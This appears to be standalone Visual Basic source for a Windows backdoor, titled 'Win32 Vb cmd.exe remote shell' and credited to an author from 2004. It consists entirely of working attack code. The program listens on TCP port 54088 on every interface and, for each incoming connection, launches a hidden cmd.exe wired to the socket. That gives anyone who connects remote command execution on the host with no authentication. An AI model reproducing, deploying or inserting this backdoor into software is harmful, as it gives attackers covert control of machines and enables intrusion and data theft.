' * Win32 Vb cmd.exe remote shell
' * (c) 2004 Finback <Finbackcpp@hotmail.com>
Option Explicit
'SockApi
Global Const AF_INET = 2
Global Const IPPROTO_TCP = 6
Global Const WSABASEERR = 10000
Global Const SOCK_STREAM = 1
Global Const INADDR_ANY = &H0
Global Const INVALID_SOCKET = -1
Global Const SOCKET_ERROR = -1
Global Const WSA_DESCRIPTIONLEN = 256
Global Const WSA_DescriptionSize = WSA_DESCRIPTIONLEN + 1
Global Const WSA_SYS_STATUS_LEN = 128
Global Const WSA_SysStatusSize = WSA_SYS_STATUS_LEN + 1

Type sockaddr
sin_family As Integer
sin_port As Integer
sin_addr As Long
sin_zero As String * 8
End Type

Type WSADataType
wVersion As Integer
wHighVersion As Integer
szDescription As String * WSA_DescriptionSize
szSystemStatus As String * WSA_SysStatusSize
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type

Declare Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Declare Function WSAStartup Lib "ws2_32.dll" (ByVal wVR As Long, lpWSAD As WSADataType) As Long
Declare Function WSACleanup Lib "ws2_32.dll" () As Long
Declare Function bind Lib "ws2_32.dll" (ByVal s As Long, addr As sockaddr, ByVal namelen As Long) As Long
Declare Function accept Lib "ws2_32.dll" (ByVal s As Long, addr As sockaddr, namelen As Long) As Long
Declare Function socket Lib "ws2_32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
Declare Function WSASocket Lib "ws2_32.dll" Alias "WSASocketA" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Declare Function closesocket Lib "ws2_32.dll" (ByVal s As Long) As Long
Declare Function listen Lib "ws2_32.dll" (ByVal s As Long, ByVal backlog As Long) As Long
Declare Function htons Lib "ws2_32.dll" (ByVal hostshort As Long) As Integer
'BindCmdApi
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type

Const CREATE_NEW_CONSOLE As Long = &H10
Const STARTF_USESTDHANDLES As Long = &H100&
Const STARTF_USESHOWWINDOW As Long = &H1&
Const SW_HIDE As Long = 0&
Const DEFAULT_PORT As Long = 54088

Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function TCPIPStartup() As Boolean
Dim rc As Integer
Dim wVersionRequested As Long
Dim WSAData As WSADataType

wVersionRequested = &H202
TCPIPStartup = True
rc = WSAStartup(wVersionRequested, WSAData)
If rc <> 0 Then
Call TCPIPShutDown
TCPIPStartup = False
Exit Function
End If
End Function
Function TCPIPShutDown() As Boolean
WSACleanup
End Function
Function GetSysDir() As String 'Get SYSTEM32 Dir
Dim Temp As String * 256
Dim X As Integer
X = GetSystemDirectory(Temp, Len(Temp))
GetSysDir = Left$(Temp, X)
End Function
Sub Main()
'Listen Port
TCPIPStartup

Dim sinfo As STARTUPINFO
Dim pinfo As PROCESS_INFORMATION
Dim sa As SECURITY_ATTRIBUTES
Dim X As Long
With sa
.nLength = Len(sa)
.bInheritHandle = 1&
.lpSecurityDescriptor = 0&
End With

Dim addr As sockaddr, client_addr As sockaddr, addrlen As Long, client_addrlen As Long
Dim client_sock As Long, server_sock As Long
Dim port As Long

port = DEFAULT_PORT

server_sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, ByVal CLng(0), 0, 0)

If server_sock = INVALID_SOCKET Then
Exit Sub
End If

addr.sin_family = AF_INET
addr.sin_port = htons(CLng(port))
addr.sin_addr = INADDR_ANY

If bind(server_sock, addr, Len(addr)) = SOCKET_ERROR Then
closesocket (server_sock)
Exit Sub
End If

If listen(server_sock, 10) = SOCKET_ERROR Then
closesocket (server_sock)
Exit Sub
End If

While True
client_addrlen = Len(client_addr)
client_sock = accept(server_sock, client_addr, client_addrlen)
If client_sock = INVALID_SOCKET Then
GoTo Fuck
End If
'BindCMD
With sinfo
.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
.wShowWindow = SW_HIDE
.hStdInput = client_sock
.hStdOutput = client_sock
.hStdError = client_sock
End With

X = CreateProcess(GetSysDir & "\CMD.EXE", vbNullString, sa, sa, 1&, CREATE_NEW_CONSOLE, ByVal 0&, vbNullString, sinfo, pinfo)
If X = -1 Then
shutdown client_sock, 2
End If

closesocket (client_sock)
Fuck:
Wend
End Sub